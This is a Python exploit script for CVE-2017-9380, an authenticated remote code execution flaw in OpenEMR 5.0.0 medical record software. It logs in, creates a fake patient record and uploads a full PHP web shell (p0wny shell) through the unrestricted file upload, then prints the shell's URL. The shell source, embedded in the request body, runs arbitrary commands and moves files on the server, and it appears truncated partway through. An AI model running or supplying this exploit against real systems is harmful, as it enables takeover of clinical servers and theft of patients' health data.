OpenEMR 5.0.0 Remote Shell Upload

`# Exploit Title: OpenEMR 5.0.0 - Remote Code Execution (Authenticated)  
# Date 10.06.2021  
# Exploit Author: Ron Jost (Hacker5preme)  
# Vendor Homepage: https://www.open-emr.org/  
# Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/5.0.0/openemr-5.0.0.zip/download  
# Version: 5.0.0  
# Tested on: Windows 10  
# CVE: CVE-2017-9380  
# Documentation: https://github.com/Hacker5preme/Exploits#cve-2017-9380-exploit  
  
'''  
Description:  
The OpenEMR application allows users from all roles to upload files. However, the application does not whitelist only  
certain type of files (e.g. PDF, JPG, PNG, DOCX, etc). At the contary, any type of files can be uploaded to the  
filesystem via the application. While OpenEMR recommends during the installation to restrict access to the repository  
hosting uploaded files, unfortunately, such recommendations are too often ignored by users and can result in full  
compromise of the web server and its data.  
'''  
  
  
'''  
Import required modules:  
'''  
import argparse  
import requests  
import string  
import random  
  
  
'''  
User-Input:  
'''  
my_parser = argparse.ArgumentParser(description='Exploit for CVE-2017-9380')  
my_parser.add_argument('-T', '--IP', type=str)  
my_parser.add_argument('-P', '--PORT', type=str)  
my_parser.add_argument('-U', '--PATH', type=str)  
my_parser.add_argument('-u', '--USERNAME', type=str)  
my_parser.add_argument('-p', '--PASSWORD', type=str)  
args = my_parser.parse_args()  
target_ip = args.IP  
target_port = args.PORT  
openemr_path = args.PATH  
username = args.USERNAME  
password = args.PASSWORD  
  
  
'''  
Exploit:  
'''  
# Authentication preparation:  
session = requests.Session()  
auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&site=default'  
auth_chek_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/login/login.php?site=default'  
response = session.get(auth_chek_url)  
  
# Header (auth):  
header = {  
'Host': target_ip,  
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',  
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',  
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',  
'Accept-Encoding': 'gzip, deflate',  
'Content-Type': 'application/x-www-form-urlencoded',  
'Origin': 'http://' + target_ip,  
'Connection': 'close',  
'Referer': auth_chek_url,  
'Upgrade-Insecure-Requests': '1',  
}  
  
# Body (auth):  
body = {  
'new_login_session_management': '1',  
'authProvider': 'Default',  
'authUser': username,  
'clearPass': password,  
'languageChoice': '1'  
}  
  
# Authenticate:  
print('')  
print('[+] Authentication')  
auth = session.post(auth_url,headers=header, data=body)  
  
# Create random patient name:  
letters_up = string.ascii_uppercase  
letters_down = string.ascii_lowercase  
first_name = ''.join(random.choice(letters_up)) + ''.join(random.choice(letters_down) for i in range(10))  
surname = ''.join(random.choice(letters_up)) + ''.join(random.choice(letters_down) for i in range(7))  
print('')  
print('[+] Creating patient name randomly:')  
print(' [*] First Name: ' + first_name)  
print(' [*] Surname: ' + surname)  
  
# Registration preparation:  
url_reg = 'http://' + target_ip + ':' + target_port + openemr_path + 'interface/new/new_comprehensive_save.php'  
  
# Header (registration):  
header = {  
'Host': target_ip,  
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',  
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',  
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',  
'Accept-Encoding': 'gzip, deflate',  
'Content-Type': 'application/x-www-form-urlencoded',  
'Origin': 'http://' + target_ip,  
'Connection': 'close',  
'Referer': 'http://' + target_ip + ':' + target_port + openemr_path + 'interface/new/new.php',  
'Upgrade-Insecure-Requests': '1'  
}  
body = {  
'form_cb_1': '1',  
'form_title': 'Mr.',  
'form_fname': first_name,  
'form_mname': '',  
'form_lname': surname,  
'form_pubpid': '',  
'form_DOB': '2021-05-04',  
'form_sex': 'Male',  
'form_ss': '',  
'form_drivers_license': '',  
'form_status': '',  
'form_genericname1': '',  
'form_genericval1': '',  
'form_genericname2': '',  
'form_genericval2': '',  
'form_billing_note': '',  
'form_street': '',  
'form_city': '',  
'form_state': '',  
'form_postal_code': '',  
'form_county': '',  
'form_country_code': '',  
'form_mothersname': '',  
'form_contact_relationship': '',  
'form_phone_contact': '',  
'form_phone_home': '',  
'form_phone_biz': '',  
'form_phone_cell': '',  
'form_email': '',  
'form_email_direct': '',  
'form_providerID': '',  
'form_ref_providerID': '',  
'form_pharmacy_id': '0',  
'form_hipaa_notice': '',  
'form_hipaa_voice': '',  
'form_hipaa_message': '',  
'form_hipaa_mail': '',  
'form_hipaa_allowsms': '',  
'form_hipaa_allowemail': '',  
'form_allow_imm_reg_use': '',  
'form_allow_imm_info_share': '',  
'form_allow_health_info_ex': '',  
'form_allow_patient_portal': '',  
'form_care_team': '',  
'form_cmsportal_login': '',  
'form_imm_reg_status': '',  
'form_imm_reg_stat_effdate': '',  
'form_publicity_code': '',  
'form_publ_code_eff_date': '',  
'form_protect_indicator': '',  
'form_prot_indi_effdate': '',  
'form_industry': '',  
'form_occupation': '',  
'form_em_name': '',  
'form_em_street': '',  
'form_em_city': '',  
'form_em_state': '',  
'form_em_postal_code': '',  
'form_em_country': '',  
'form_language': '',  
'form_ethnicity': '',  
'form_family_size': '',  
'form_financial_review': '',  
'form_monthly_income': '',  
'form_homeless': '',  
'form_interpretter': '',  
'form_migrantseasonal': '',  
'form_referral_source': '',  
'form_vfc': '',  
'form_religion': '',  
'form_deceased_date': '',  
'form_deceased_reason': '',  
'form_guardiansname': '',  
'form_guardianrelationship': '',  
'form_guardiansex': '',  
'form_guardianaddress': '',  
'form_guardiancity': '',  
'form_guardianstate': '',  
'form_guardianpostalcode': '',  
'form_guardiancountry': '',  
'form_guardianphone': '',  
'form_guardianworkphone': '',  
'form_guardianemail': '',  
'i1provider': '',  
'i1plan_name': '',  
'i1effective_date': '',  
'i1policy_number': '',  
'i1group_number': '',  
'i1subscriber_employer': '',  
'i1subscriber_employer_street': '',  
'i1subscriber_employer_city': '',  
'form_i1subscriber_employer_state': '',  
'i1subscriber_employer_postal_code': '',  
'form_i1subscriber_employer_country': '',  
'i1subscriber_fname': '',  
'i1subscriber_mname': '',  
'i1subscriber_lname': '',  
'form_i1subscriber_relationship': '',  
'i1subscriber_DOB': '',  
'i1subscriber_ss': '',  
'form_i1subscriber_sex': '',  
'i1subscriber_street': '',  
'i1subscriber_city': '',  
'form_i1subscriber_state': '',  
'i1subscriber_postal_code': '',  
'form_i1subscriber_country': '',  
'i1subscriber_phone': '',  
'i1copay': '',  
'i1accept_assignment': 'TRUE',  
'i2provider': '',  
'i2plan_name': '',  
'i2effective_date': '',  
'i2policy_number': '',  
'i2group_number': '',  
'i2subscriber_employer': '',  
'i2subscriber_employer_street': '',  
'i2subscriber_employer_city': '',  
'form_i2subscriber_employer_state': '',  
'i2subscriber_employer_postal_code': '',  
'form_i2subscriber_employer_country': '',  
'i2subscriber_fname': '',  
'i2subscriber_mname': '',  
'i2subscriber_lname': '',  
'form_i2subscriber_relationship': '',  
'i2subscriber_DOB': '',  
'i2subscriber_ss': '',  
'form_i2subscriber_sex': '',  
'i2subscriber_street': '',  
'i2subscriber_city': '',  
'form_i2subscriber_state': '',  
'i2subscriber_postal_code': '',  
'form_i2subscriber_country': '',  
'i2subscriber_phone': '',  
'i2copay': '',  
'i2accept_assignment': 'TRUE',  
'i3provider': '',  
'i3plan_name': '',  
'i3effective_date': '',  
'i3policy_number': '',  
'i3group_number': '',  
'i3subscriber_employer': '',  
'i3subscriber_employer_street': '',  
'i3subscriber_employer_city': '',  
'form_i3subscriber_employer_state': '',  
'i3subscriber_employer_postal_code': '',  
'form_i3subscriber_employer_country': '',  
'i3subscriber_fname': '',  
'i3subscriber_mname': '',  
'i3subscriber_lname': '',  
'form_i3subscriber_relationship': '',  
'i3subscriber_DOB': '',  
'i3subscriber_ss': '',  
'form_i3subscriber_sex': '',  
'i3subscriber_street': '',  
'i3subscriber_city': '',  
'form_i3subscriber_state': '',  
'i3subscriber_postal_code': '',  
'form_i3subscriber_country': '',  
'i3subscriber_phone': '',  
'i3copay': '',  
'i3accept_assignment': 'TRUE'}  
  
print('')  
print('[+] Registering patient:')  
x = session.post(url_reg, headers=header, data=body).text  
  
# Get Patient-ID:  
id = x[(x.find('pid=')+4):x.find('&')]  
print(' [*] ID-NUMBER: ' + id)  
  
# Construct upload URL:  
url_upload = 'http://' + target_ip + ':' + target_port + openemr_path + '/controller.php?document&upload&patient_id=' + id + '&parent_id=1&"'  
  
# Header (upload):  
header = {  
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",  
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",  
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",  
"Accept-Encoding": "gzip, deflate",  
"Content-Type": "multipart/form-data; boundary=---------------------------370797319835249590062969815666",  
"Origin": 'http://' + target_ip,  
"Connection": "close",  
"Referer": url_upload,  
"Upgrade-Insecure-Requests": "1"  
}  
  
# Body (shell); I'm using p0wny shell: https://github.com/flozz/p0wny-shell  
body = "-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n64000000\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"file[]\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n background: #222;\n max-width: 800px;\n margin: 50px  
  
# Exploit  
x = session.post(url_upload, headers=header,data=body).text  
print('')  
print('[+] Uploading your Webshell')  
b = x[x.find('documents/') + 10:]  
c = b[:b.find('<')]  
webshellpath = 'http://' + target_ip + ':' + target_port + openemr_path + '/sites/default/documents/' + c  
print(' [*] Webshell: ' + webshellpath)  
print('')  
  
`